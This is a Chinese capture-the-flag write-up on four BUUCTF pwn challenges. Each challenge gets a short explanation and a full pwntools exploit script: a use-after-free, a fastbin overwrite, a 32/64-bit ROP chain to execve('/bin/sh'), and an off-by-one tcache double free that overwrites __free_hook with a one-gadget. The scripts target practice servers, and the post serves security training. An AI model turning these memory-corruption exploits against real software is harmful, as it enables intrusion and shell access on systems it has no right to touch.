PWN-PRACTICE-BUUCTF-29

• • actf_2019_babyheap
  • wustctf2020_easyfast
  • 強網杯2019 擬態 STKOF
  • hitcon_2018_children_tcache

actf_2019_babyheap

UAF，創建兩個非0x10大小的chunk，比如兩個0x20
程序會創建四個chunk，大小依次為0x10，0x20，0x10，0x20
按序free掉創建的chunk，兩個0x10大小的chunk形成一條鏈，兩個0x20大小的chunk形成一條鏈
再創建一個0x10大小的chunk，會用到兩個在fastbin中0x10大小的chunk
新創建的chunk內容為"/bin/sh"的地址和system的實際地址
最后show(0)即可system("/bin/sh")

# -*- coding:utf-8 -*- from pwn import * #context.log_level="debug" #io=process("./ACTF_2019_babyheap") io=remote("node4.buuoj.cn",27740) elf=ELF("./ACTF_2019_babyheap") libc=ELF("./libc-2.27-18-x64.so")def add(size,content):io.sendlineafter("Your choice: ","1")io.sendlineafter("Please input size: \n",str(size))io.sendafter("Please input content: \n",content) def free(index):io.sendlineafter("Your choice: ","2")io.sendlineafter("Please input list index: \n",str(index)) def show(index):io.sendlineafter("Your choice: ","3")io.sendlineafter("Please input list index: \n",str(index))system_plt=elf.plt["system"] binsh=0x602010add(0x20,"aaaa")#0 add(0x20,"bbbb")#1free(0) free(1)add(0x10,p64(binsh)+p64(system_plt))#2 show(0)io.interactive()

wustctf2020_easyfast

UAF，根據0x602090地址處的值來決定是否執行system("/bin/sh")
想辦法在0x602090-0x10=0x602080處創建一個chunk，然后修改0x602090處的值為0
可以看到0x602088處有一個值0x50，實際上是當作fake chunk的size域
利用UAF，改寫chunk的fd域，使之指向0x602080處，再創建fake chunk改寫0x602090的值

# -*- coding:utf-8 -*- from pwn import * #context.log_level="debug" #io=process("./wustctf2020_easyfast") io=remote("node4.buuoj.cn",28112) elf=ELF("./wustctf2020_easyfast") libc=ELF("./libc-2.23-16-x64.so")def add(size):io.sendlineafter("choice>\n","1")io.sendlineafter("size>\n",str(size)) def free(index):io.sendlineafter("choice>\n","2")io.sendlineafter("index>\n",str(index)) def edit(index,content):io.sendlineafter("choice>\n","3")io.sendlineafter("index>\n",str(index))io.sendline(content) def shell():io.sendlineafter("choice>\n","4")shell_flag=0x602090add(0x40)#0 add(0x40)#1 free(0) edit(0,p64(shell_flag-0x10)) add(0x40)#2 add(0x40)#3 edit(3,p64(0)) shell() io.interactive()

強網杯2019 擬態 STKOF

棧溢出，但是加了擬態防御，參考：擬態防御題型pwn&web初探

# -*- coding:utf-8 -*- from pwn import * from struct import packdef payload32():p = ''p += pack('<I', 0x0806e9cb) # pop edx ; retp += pack('<I', 0x080d9060) # @ .datap += pack('<I', 0x080a8af6) # pop eax ; retp += '/bin'p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806e9cb) # pop edx ; retp += pack('<I', 0x080d9064) # @ .data + 4p += pack('<I', 0x080a8af6) # pop eax ; retp += '//sh'p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806e9cb) # pop edx ; retp += pack('<I', 0x080d9068) # @ .data + 8p += pack('<I', 0x08056040) # xor eax, eax ; retp += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080d9060) # @ .datap += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; retp += pack('<I', 0x080d9068) # @ .data + 8p += pack('<I', 0x080d9060) # padding without overwrite ebxp += pack('<I', 0x0806e9cb) # pop edx ; retp += pack('<I', 0x080d9068) # @ .data + 8p += pack('<I', 0x08056040) # xor eax, eax ; retp += pack('<I', 0x080a8af6) # pop eax ; retp += p32(0xb)p += pack('<I', 0x080495a3) # int 0x80return pdef payload64():p = ''p += pack('<Q', 0x0000000000405895) # pop rsi ; retp += pack('<Q', 0x00000000006a10e0) # @ .datap += pack('<Q', 0x000000000043b97c) # pop rax ; retp += '/bin//sh'p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; retp += pack('<Q', 0x0000000000405895) # pop rsi ; retp += pack('<Q', 0x00000000006a10e8) # @ .data + 8p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; retp += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; retp += pack('<Q', 0x00000000004005f6) # pop rdi ; retp += pack('<Q', 0x00000000006a10e0) # @ .datap += pack('<Q', 0x0000000000405895) # pop rsi ; retp += pack('<Q', 0x00000000006a10e8) # @ .data + 8p += pack('<Q', 0x000000000043b9d5) # pop rdx ; retp += pack('<Q', 0x00000000006a10e8) # @ .data + 8p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; retp += pack('<Q', 0x000000000043b97c) # pop rax ; retp += p64(0x3b)p += pack('<Q', 0x00000000004011dc) # syscallreturn pio=remote("node4.buuoj.cn",25016) add_esp=0x080a8f69 # add esp, 0xc ; ret add_rsp=0x00000000004079d5 # add esp, 0xd8 ; ret payload="a"*0x10C+"\x00"*4+p64(add_esp)+p64(add_rsp) payload+=payload32().ljust(0xd8,"\x00") payload+=payload64() io.sendline(payload) io.interactive()

hitcon_2018_children_tcache

obo + tcache，參考：HITCON_2018_children_tcache

# -*- coding:utf-8 -*- from pwn import * #io=process("./HITCON_2018_children_tcache") io=remote("node4.buuoj.cn",25946) elf=ELF("./HITCON_2018_children_tcache") libc=ELF("./libc-2.27-18-x64.so")def add(size,content):io.sendlineafter("Your choice: ","1")io.sendlineafter("Size:",str(size))io.sendlineafter("Data:",content) def show(index):io.sendlineafter("Your choice: ","2")io.sendlineafter("Index:",str(index)) def free(index):io.sendlineafter("Your choice: ","3")io.sendlineafter("Index:",str(index))#gdb.attach(io) #pause()add(0x410,"aaaa")#0 add(0xe8,"bbbb")#1 add(0x4f0,"cccc")#2 add(0x60,"dddd")#3#pause()free(0)#pause()free(1)#pause()for i in range(6):add(0xe8-i,"b"*(0xe8-i))free(0)#pause()add(0xe8,"b"*0xe0+p64(0x510))#0#pause()free(2) #合并chunk#pause()add(0x410,"aaaa")#1#pause()show(0) offset=0x3ebca0 leak_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00")) print("leak_addr=="+hex(leak_addr)) libc_base=leak_addr-offset print("libc_base=="+hex(libc_base)) free_hook=libc_base+libc.sym["__free_hook"] ones=[0x4f2c5,0x4f322,0x10a38c] one_gadget=libc_base+ones[1]#pause()add(0x60,"dddd")#2#pause()free(0)#pause()free(2) #double free#pause()add(0x60,p64(free_hook)) add(0x60,p64(free_hook)) add(0x60,p64(one_gadget))#pause()free(0)io.interactive()

總結

以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-29的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。